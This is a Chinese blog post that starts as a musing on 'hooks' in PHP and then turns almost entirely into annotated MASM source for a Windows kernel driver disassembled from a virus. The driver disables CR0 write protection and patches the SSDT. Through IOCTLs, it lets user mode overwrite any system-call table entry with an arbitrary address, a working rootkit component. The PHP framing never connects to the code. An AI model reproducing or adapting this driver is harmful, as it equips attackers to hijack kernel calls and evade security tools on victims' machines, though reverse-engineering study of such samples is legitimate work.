做个广告先,PHP学习群6848027
今天在群里和群友讨论到了PHP的HOOK模式,感觉对方说的非常有趣,于是就有了这篇文章
首先纠结一下到底什么是HOOK?
大家都说HOOK是钩子,这到底是做什么的?
想想下面的场景
桌面EXE程序本身所有的代码都被封装了(开发者不提供标准接口),不提供?那如果我们想要扩展这个EXE的功能怎么办?
这个时候就用到HOOK了,将自己的代码写到EXE进程,拦截掉原有的被HOOK的函数,实现我们的HOOK代码
在想想下面的场景
一个PHP程序本身源代码被加密,如何HOOK?我们想重写PHP的代码怎么办呢?哈哈,有人说解密就行了
解密是一种方式,我想不改变源代码的情况下实现呢?当然这就需要开发者提供接口了!
实际上你想要在JAVA,C#,C++中实现一种类似HOOK的功能你就必须定义接口,供人HOOK,
然而PHP自身为动态语言,一切都是泛型(这也是PHP的强大之处)实现接口并无实际意义,反而浪费了很多代码,有时一个
回调函数可能来的更直接效率更高,所以这些习惯了动态脚本代码的PHPCODER早已忘了什么是接口了,一味的理解自己认为的HOOK。
至于如何实现优雅的PHP接口,我从原来反汇编的一个病毒程序中得到了一些启示.
多播接口我想在PHP界目前还没有这个先进的说法吧(准备写个这个模式的教程,哇哈哈)
来看看下面的这个病毒程序是如何实现的
整体思路
1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。
注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。
2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。
.386
.model flat,stdcall
option casemap:none
include w2k\ntstatus.inc
include w2k\ntddk.inc
include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc
.data
unk_10B80 db 4Eh ; N
db 0E6h ; ?
db 40h ; @
db 0BBh ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0
.code
; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h
;***********************************************************************************************
; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
;***********************************************************************************************
;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11
;{
; ULONG Reserved[2]; +0
; PVOID Base; +08h
; ULONG Size; +0ch
; ULONG Flags; +10h
; USHORT Index; +14h
; USHORT Unknown; +16h
; USHORT LoadCount; +18h
; USHORT ModuleNameOffset; +1Ah
; CHAR ImageName[256]; +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
; IN OUT PVOID SystemInformation,
; IN ULONG SystemInformationLength,
; OUT PULONG ReturnLength OPTIONAL );
;typedef struct _tagSysModuleList {
; ULONG ulCount;
; SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;
;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );
xor ebx, ebx
mov [ebp-24h], ebx
mov [ebp-4], ebx
lea eax, [ebp-1Ch]
push eax ;ReturnLength
push ebx ;SystemInformationLength = 0
lea eax, [ebp-20h]
push eax ;SystemInformation
push 0Bh ;SystemModuleInformation,遍历模块
mov esi, ZwQuerySystemInformation
call esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度
mov [ebp-28h], eax
cmp eax, 0C0000004h
jnz ERRORRET
push 206B6444h ; ' kdD'标签
push dword ptr [ebp-1Ch] ;申请的长度
push ebx ;NonPagedPool
call ExAllocatePoolWithTag
mov edi, eax
mov [ebp-30h], edi ;保留返回值
cmp edi, ebx ;判断返回值是否为空
jnz NextStep
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
jmp ErrAllocMem
NextStep:
lea eax, [ebp-34h] ;ReturnLength
push eax
push dword ptr [ebp-1Ch] ;SystemInformationLength
push edi ;SystemInformation
push 0Bh ;SystemModuleInformation
call esi ; ZwQuerySystemInformation
mov [ebp-28h], eax
cmp eax, ebx
jl ReleaseMemory
mov eax, [edi]
mov [ebp-1Ch], eax ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
lea esi, [edi+4]
mov [ebp-2Ch], esi ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址
mov [ebp-20h], ebx ;计数变量清零
FORLOOP:
mov eax, [ebp-1Ch] ;开始for循环
cmp [ebp-20h], eax
jnb ReleaseMemory
push offset FunctionArray
; 例如: ImageName: windows\system32\ndis.sys, 那么 ModuleNameOffset 就是 0x11
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push eax ;不包含路径的名字
call _stricmp
pop ecx ;出栈
pop ecx
test eax, eax
jnz ContinueLoop
mov eax, [esi+8] ;返回SYSTEM_MODULE_INFORMATION.Base
mov [ebp-24h], eax ;返回值保存在[ebp-24h]单元
ReleaseMemory:
push edi
call ExFreePool
jmp ERRORRET
ContinueLoop:
inc dword ptr [ebp-20h] ;循环变量递增
add esi, 11Ch ;取下一个SYSTEM_MODULE_INFORMATION类型元素
mov [ebp-2Ch], esi ;暂存当前的SYSTEM_MODULE_INFORMATION元素
jmp FORLOOP
SehFunction proc near
mov esp, [ebp-18h]
ERRORRET::
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction endp
;********************************************************************************************
; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
; 找出pFunctionName的函数地址.
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
; 索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
; 索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
; 的地址,不同则继续找...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword
LOCAL AddressOfNameOrdinals:dword;函数名序号表
LOCAL AddressOfNames:dword ;函数名地址表
LOCAL OutputTable:dword ;导出表地址
LOCAL AddressOfFunctions:dword ;指向导出函数地址表中的指针
LOCAL pFunctionName:dword ;函数名
LOCAL i:dword ;循环变量
LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
LOCAL CurAddressOfNames:dword ;当前的函数名地址
LOCAL nIndex:dword ;循环变量
LOCAL myFoundOutFunctionName:dword ;我们从函数名地址表中找出的函数名指针
LOCAL InputFunctionName:dword ;输入的函数名指针,指向参数2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte
mov edx, hModule
mov eax, [edx+3Ch]
add eax, edx ; 指向PEHeader
cmp word ptr [edx], 5A4Dh ; 'MZ'
jnz Quit
cmp dword ptr [eax], 4550h ;'PE'
jnz Quit
mov eax, [eax+78h]
add eax, edx ;指向导出表
mov OutputTable, eax
mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add edi, edx
mov AddressOfNames, edi
mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add esi, edx
mov AddressOfFunctions, esi
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add ecx, edx
mov AddressOfNameOrdinals, ecx
and nIndex, 0
mov edx, pFunctionName
StartSearch:
mov ebx, nIndex
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb Quit
cmp dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空
jz NextAddressOfFunction ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数
mov CurAddressOfNames, edi
mov CurAddressOfNameOrdinals, ecx
and i, 0
StartFindFunctionFromAddressOfNames:
mov ebx, i
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb OutOfRange
mov ebx, CurAddressOfNameOrdinals
movzx ebx, word ptr [ebx]
cmp ebx, nIndex ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
jnz NextAddressOfNameOrdinals
mov edx, CurAddressOfNames
mov edx, [edx]
add edx, hModule
mov pFunctionName, edx ;取出函数名
OutOfRange:
test edx, edx ;判断是否空
jz ContinueWork
mov myFoundOutFunctionName, edx ;暂存函数名
mov edx, FunctionName
mov InputFunctionName, edx ;暂存输入的函数名
CompareFunctionName:
mov edx, InputFunctionName
mov dl, [edx]
mov FirstCharacterOfFunctionName, dl
mov ebx, myFoundOutFunctionName
cmp dl, [ebx]
jnz Different ;不相同
test dl, dl ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
jz RetCurrentFunctionAddress
mov edx, InputFunctionName ;比对函数名中的下一个字符
mov dl, [edx+1]
mov SecondCharacterOfFunctionName, dl
cmp dl, [ebx+1]
jnz Different
add InputFunctionName, 2
add myFoundOutFunctionName, 2
test dl, dl
jnz CompareFunctionName
RetCurrentFunctionAddress:
xor edx, edx ;edx = 0,表示找到对应的函数
jmp GetFunctionAddress
NextAddressOfNameOrdinals:
add CurAddressOfNames, 4
add CurAddressOfNameOrdinals, 2
inc i
jmp StartFindFunctionFromAddressOfNames
Different:
sbb edx, edx
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找
GetFunctionAddress:
test edx, edx
jnz ContinueWork
mov esi, [esi]
add esi, hModule
mov eax, esi ;返回函数地址
jmp Founded
ContinueWork:
xor edx, edx
mov pFunctionName, edx
NextAddressOfFunction:
add esi, 4
mov AddressOfFunctions, esi
inc nIndex
jmp StartSearch
Quit:
xor eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp
;**************************************************************************
; 给出一个索引值和一个函数地址,修改ssdt表
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
mov ecx, Index
mov eax, KeServiceDescriptorTable
cmp ecx, [eax+8] ;NumberOfService
jb @f
xor al, al
jmp Quit
@@:
;去掉写保护
push eax
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov eax, KeServiceDescriptorTable
mov eax, [eax]
mov edx, Value; Value
lea ecx, [eax+ecx*4] ; Target
call InterlockedExchange
;恢复写保护
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
Quit:
ret
HookSSDTByFunIndex endp
;**************************************************************************
; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push eax
;去掉写保护
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov ecx, KeServiceDescriptorTable
mov eax, FunAddr
mov eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index
mov ecx, [ecx] ;ServiceTableBase
mov edx, Value ; Value
lea ecx, [ecx+eax*4] ; Target
call InterlockedExchange
mov ecx, eax
push eax
;恢复写保护
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
mov eax, ecx
ret
HookSSDT endp
SourceString wchar L(<\\DosDevices\\Swk0217\0>)
swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING
push ecx
push ecx
push offset SourceString ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call RtlInitUnicodeString
lea eax, DestinationString
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
mov eax, pDriverObject
push dword ptr [eax+4] ; DeviceObject
call IoDeleteDevice
ret
swkUnLoad endp
aNtquerysystemi db 'NtQuerySystemInformation',0
DispatchFunction:
push esi
mov esi, [esp+0Ch] ;pIrp
mov eax, [esi+60h] ;取IRP.CurrentStackLocation
and dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
and dword ptr [esi+1Ch], 0
cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push edi
jnz CreateAndClose
mov eax, [eax+0Ch] ;IoControlCode
cmp eax, 83471060h
jz GetSSDTNum ;获取ssdt函数个数
cmp eax, 83471064h
jz GetSSDTFunction ;获取ssdt函数表
cmp eax, 83471068h
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp eax, 8347106Ch
jz RestoreHookSSDT ;恢复前面hook的ZwQuerySystemInformation
cmp eax, 83471070h
jz ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus
jmp CreateAndClose
ModifySSDTByFunIndex:
push 8
pop edi
cmp ecx, edi ;判断InputBufferLength是否等于8
jnz CreateAndClose
push dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引
push dword ptr [edx] ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
call HookSSDTByFunIndex
test al, al
jz CreateAndClose
mov [esi+1Ch], edi
jmp CreateAndClose
RestoreHookSSDT: ;恢复ssdt表
mov eax, OldSSDTValueOfZwQuerySystemInformation
test eax, eax
jz CreateAndClose
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz HaveDone
push ecx
push eax
call HookSSDT
HaveDone:
and OldSSDTValueOfZwQuerySystemInformation, 0
jmp CreateAndClose
HookZwQuerySystemInformation:
call near ptr FunctionArray+0Eh ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
test eax, eax
jz CreateAndClose
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push eax
call GetProcessFromNtoskrnl
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz CreateAndClose
push ecx
push eax
call HookSSDT
mov OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址
jmp CreateAndClose
GetSSDTFunction:
mov eax, KeServiceDescriptorTable
mov edi, [eax+8] ;NumberOfService
push ebx
mov ebx, edi
shl ebx, 2 ;NumberOfService*4
cmp ecx, ebx ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
pop ebx
jb CreateAndClose
xor ecx, ecx
test edi, edi
jbe GetSSDTFunctionErr
GetNextSSDTFunction:
mov eax, [eax]
mov eax, [eax+ecx*4]
mov [edx+ecx*4], eax
mov eax, KeServiceDescriptorTable
inc ecx
cmp ecx, [eax+8]
jb GetNextSSDTFunction
GetSSDTFunctionErr:
mov eax, [eax+8]
shl eax, 2
jmp Quit
GetSSDTNum:
push 4
pop eax
cmp ecx, eax ;输入长度<4跳转
jb CreateAndClose
mov ecx, KeServiceDescriptorTable
mov ecx, [ecx+8] ;NumberOfService
mov [edx], ecx ;edx指向IRP.AssociatedIrp.SystemBuffer
Quit:
mov [esi+1Ch], eax
CreateAndClose:
mov edi, [esi+18h] ;IoStatus
xor dl, dl
mov ecx, esi
call IofCompleteRequest
mov eax, edi
pop edi
pop esi
ret
wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)
start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword
and DeviceObject, 0
push esi
push edi
mov edi, RtlInitUnicodeString
push offset wcharDeviceName ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call edi ; RtlInitUnicodeString
mov esi, DriverObject
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 598347h ; DeviceType
lea eax, DestinationString
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push esi ; DriverObject
call IoCreateDevice
test eax, eax
jl @f
push offset wcharSymbolicLink ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call edi ; RtlInitUnicodeString
lea eax, DestinationString
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink
mov ecx, offset DispatchFunction
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov [esi+40h], ecx ;IRP_MJ_CLOSE
mov [esi+38h], ecx ;IRP_MJ_CREATE
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
@@:
pop edi
pop esi
ret
start endp